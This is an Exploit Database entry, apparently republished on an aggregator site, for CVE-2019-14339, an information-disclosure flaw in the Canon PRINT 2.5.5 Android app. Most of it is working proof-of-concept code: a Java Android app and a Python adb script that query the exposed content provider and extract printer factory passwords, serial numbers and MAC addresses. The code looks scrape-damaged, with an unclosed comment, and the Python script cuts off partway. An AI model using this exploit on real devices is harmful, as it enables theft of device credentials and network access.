Canon PRINT 2.5.5 – Information Disclosure

Exploit Database
114 阅读

作者： 0x48piraj

日期： 2019-08-30
类别：
- local
平台：
- android
来源：https://www.exploit-db.com/exploits/47321/

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# Exploit Title: Content Provider URI Injection on Canon PRINT 2.5.5

(CVE-2019-14339)

# Date: 24th July, 2019

# Exploit Author: 0x48piraj

# Vendor Homepage: https://www.usa.canon.com/internet/portal/us/home/explore/printing-innovations/mobile-printing/canon-print-app

# Software Link: https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint

<https://play.google.com/store/apps/details?id=jp.co.canon.bsd.ad.pixmaprint&hl=en_IN>#

Exploit : https://github.com/0x48piraj/CVE-2019-14339

# Version: Canon PRINT 2.5.5

# Tested on: Android 8.0.0

# CVE : CVE-2019-14339

The ContentProvider in the Canon PRINT 2.5.5 application for Android

does not properly restrict data access. This allows an attacker's

malicious application to obtain sensitive information including

factory passwords for administrator web-interface and WPA2-PSK key.

The mobile application contains unprotected exported content providers

('IJPrinterCapabilityProvider' in android/AndroidManifest.xml) that

discloses sensitive application’s data under certain conditions. To

securely export the content provider, one should restrict access to it

by setting up android:protectionLevel or android:grantUriPermissions

attributes in Android Manifest file.

-- Proof-of-concept code (Java)

package cannon.print.pwn;

import android.database.Cursor;

import android.net.Uri;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.TextView;

import android.widget.Toast;

import org.apache.commons.lang3.StringUtils; //

https://stackoverflow.com/a/50198499

public class MainActivity extends AppCompatActivity {

Button PwnBtn;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

PwnBtn = (Button) findViewById(R.id.button);

PwnBtn.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

Toast.makeText(getApplicationContext(), "Payload

triggered ...", Toast.LENGTH_SHORT).show();

Uri cannonURI =

Uri.parse("content://canon.ij.printer.capability.data/");

Cursor cursor = getContentResolver().query(cannonURI,

null, null, null, null);

int count= cursor.getCount();

TextView data=(TextView)findViewById(R.id.data);

data.setText(String.valueOf(count));

cursor.moveToFirst();

String tempstr = " ";

tempstr =""+tempstr +"\t"+ cursor.getString(0) + "\t\t\t"

+ cursor.getString(1) + "\t\t\t" + cursor.getString(2);

String dpw = StringUtils.substringBetween(tempstr,

"<ivec:product_serialnumber>", "</ivec:product_serialnumber>");

String dmac = cursor.getString(4);

String mdeviceid = cursor.getString(13); // raw

String dtype = StringUtils.substringBetween(mdeviceid,

";CLS:", ";DES");

String timestamp = cursor.getString(15); // ticks,

device last used

String dclass = StringUtils.substringBetween(tempstr,

"<ivec:manufacturer>", "</ivec:manufacturer>");

String dmodel = StringUtils.substringBetween(tempstr,

"<ivec:model>", "</ivec:model>");

String dserial = StringUtils.substringBetween(tempstr,

"<ivec:serialnumber>", "</ivec:serialnumber>");

String dfmver = StringUtils.substringBetween(tempstr,

"<ivec:firmver>", "</ivec:firmver>");

String dservice =

StringUtils.substringBetween(tempstr, "<ivec:service>",

"</ivec:service>");

/* More juicy data

String denv = StringUtils.substringBetween(tempstr,

"<vcn:host_environment>", "</vcn:host_environment>");

String dpapertype =

StringUtils.substringBetween(tempstr, "<ivec:papertype>",

"</ivec:papertype>");

String dformats =

StringUtils.substringBetween(tempstr, "<ivec:support_data_format>",

"</ivec:support_data_format>");

String fout = String.format("Device Type : %s\nDevice

Class : %s\nDevice Model : %s\nDevice Serial : %s\nDevice MAC Address

: %s\nDevice Factory Password : %s\nDevice Firmware Version :

%s\nDevice Services : %s\nDevice Last Used : %s\n", dtype, dclass,

dmodel, dserial, dmac, dpw, dfmver, dservice, timestamp);

data.setText(fout);

}

});

}

-- Proof-of-concept python script over ADB --

import subprocess, datetime, sys

def ext(out, var, rw=';'):

return out.split(var)[1].split(rw)[0]

print("[#] Make sure you've connected the target device w/ adb ...")

print("[*] Running the exploit using adb ...\n\n")

out = subprocess.getoutput("adb shell content query --uri content://canon.ij.printer.capability.data/")

if "<ivec:contents>" not in out:

print("[!] Error: Couldn't fetch data from adb ...")

sys.exit(1)

varz = [";CLS:", ";MDL:", ";DES:", ";VER:", ";PSE:"] #

factory_pw_check =

out.split("<ivec:product_serialnumber>")[1].split('</ivec:product_serialnumber>')[0]

prmz = ["Class", "Model", "Description", "Firmware Version", "Factory Password"]